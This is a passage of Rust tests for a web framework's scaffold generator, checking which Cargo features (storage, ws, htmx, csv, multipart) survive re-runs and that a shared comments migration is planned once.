fn dropping_an_attachment_from_an_api_scaffold_releases_storage() {
let tmp = project();
let api = ScaffoldOptions {
api: true,
..Default::default()
};
run(&tmp, "Post", &["title:String", "cover:attachment"], &api);
assert!(autumn_web_line(&tmp).contains("storage"));
run(&tmp, "Post", POST, &api);
let line = autumn_web_line(&tmp);
assert!(
!line.contains("storage") && !line.contains("multipart"),
"{line}"
);
}
#[test]
fn keeps_ws_for_a_resumable_sse_route() {
let tmp = project();
let live = ScaffoldOptions {
live: true,
..Default::default()
};
run(&tmp, "Post", POST, &live);
fs::write(
tmp.path().join("src/support.rs"),
"pub use autumn_web::sse::stream_resumable;\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("\"ws\""),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn another_dependency_with_default_features_off_does_not_pin_htmx() {
let tmp = project();
run(&tmp, "Post", POST, &searchable());
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
fs::write(
tmp.path().join("Cargo.toml"),
format!("{cargo}serde = {{ version = \"1\", default-features = false }}\n"),
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
!autumn_web_line(&tmp).contains("htmx"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn a_feature_the_old_files_never_used_is_not_released() {
let tmp = project();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
fs::write(
tmp.path().join("Cargo.toml"),
cargo.replace("features = [", "features = [\"multipart\", "),
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("multipart"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_htmx_for_a_multiline_autumn_web_entry_without_defaults() {
let tmp = project();
run(&tmp, "Post", POST, &searchable());
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname = \"x\"\n\n[dependencies]\nautumn-web = {\n version = \"0.7.0\",\n \
default-features = false,\n features = [\"maud\", \"csv\", \"htmx\"],\n}\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
assert!(cargo.contains("htmx"), "{cargo}");
}
#[test]
fn keeps_a_feature_a_pathed_cargo_target_uses() {
let tmp = project();
let with_file = ["title:String", "cover:attachment"];
run(&tmp, "Post", &with_file, &ScaffoldOptions::default());
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
fs::write(
tmp.path().join("Cargo.toml"),
format!("{cargo}\n[[bin]]\nname = \"srv\"\npath = \"cmd/server.rs\"\n"),
)
.unwrap();
fs::create_dir_all(tmp.path().join("cmd")).unwrap();
fs::write(
tmp.path().join("cmd/server.rs"),
"use autumn_web::storage::Blob;\nfn main() {}\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
assert!(cargo.contains("storage"), "{cargo}");
}
#[test]
fn keeps_storage_while_autumn_toml_configures_it() {
let tmp = project();
let with_file = ["title:String", "cover:attachment"];
run(&tmp, "Post", &with_file, &ScaffoldOptions::default());
fs::write(
tmp.path().join("autumn.toml"),
"[storage]\nbackend = \"local\"\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("storage"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_storage_while_dot_env_configures_it() {
let tmp = project();
let with_file = ["title:String", "cover:attachment"];
run(&tmp, "Post", &with_file, &ScaffoldOptions::default());
fs::write(tmp.path().join(".env"), "AUTUMN_STORAGE__BACKEND=local\n").unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("storage"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_ws_for_a_channels_module_use() {
let tmp = project();
let live = ScaffoldOptions {
live: true,
..Default::default()
};
run(&tmp, "Post", POST, &live);
fs::write(
tmp.path().join("src/support.rs"),
"use autumn_web::channels::Sender;\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("\"ws\""),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_storage_while_a_profile_overlay_configures_it() {
let tmp = project();
let with_file = ["title:String", "cover:attachment"];
run(&tmp, "Post", &with_file, &ScaffoldOptions::default());
fs::write(
tmp.path().join("autumn-prod.toml"),
"[storage]\nbackend = \"s3\"\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("storage"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn keeps_htmx_for_a_workspace_inherited_autumn_web() {
let tmp = project();
run(&tmp, "Post", POST, &searchable());
fs::write(
tmp.path().join("Cargo.toml"),
"[package]\nname = \"x\"\n\n[dependencies]\n\
autumn-web = { workspace = true, features = [\"maud\", \"csv\", \"htmx\"] }\n",
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
let cargo = fs::read_to_string(tmp.path().join("Cargo.toml")).unwrap();
assert!(cargo.contains("htmx"), "{cargo}");
}
#[test]
fn keeps_csv_for_the_root_reexport() {
let tmp = project();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
fs::write(
tmp.path().join("src/support.rs"),
"pub fn a(r: Vec<u8>) { let _ = autumn_web::Csv(r); }\n",
)
.unwrap();
let live = ScaffoldOptions {
live: true,
..Default::default()
};
run(&tmp, "Post", POST, &live);
assert!(
autumn_web_line(&tmp).contains("csv"),
"{}",
autumn_web_line(&tmp)
);
}
#[test]
fn a_first_run_keeps_a_hand_added_feature() {
let tmp = project();
fs::write(
tmp.path().join("Cargo.toml"),
CARGO.replace(
"autumn-web = \"0.7.0\"",
"autumn-web = { version = \"0.7.0\", features = [\"multipart\"] }",
),
)
.unwrap();
run(&tmp, "Post", POST, &ScaffoldOptions::default());
assert!(
autumn_web_line(&tmp).contains("multipart"),
"{}",
autumn_web_line(&tmp)
);
}
}
/// The scaffold reuses the model plan, and the model plan already adds the
/// shared `comments` migration. Plan it once, and warn once.
#[test]
fn a_commentable_scaffold_plans_the_shared_table_once() {
let tmp = project_with_main(default_main());
let plan = plan_scaffold(
tmp.path(),
"Post",
&["title:String".into(), "comments:commentable".into()],
"20260427000000",
)
.unwrap();
let shared_up = plan
.actions
.iter()
.filter(|action| {
action
.path()
.ends_with("migrations/202604270000002_create_comments/up.sql")
})
.count();
assert_eq!(shared_up, 1, "the shared migration is planned once");
let added = plan
.warnings
.iter()
.filter(|warning| warning.starts_with("Added the shared `comments` table"))
.count();
assert_eq!(added, 1, "{:#?}", plan.warnings);
assert!(
plan.warnings
.iter()
.any(|warning| warning.contains("autumn_web::commentable::router")),
"the scaffold still says how to mount the routes:\n{:#?}",
plan.warnings
);
}
}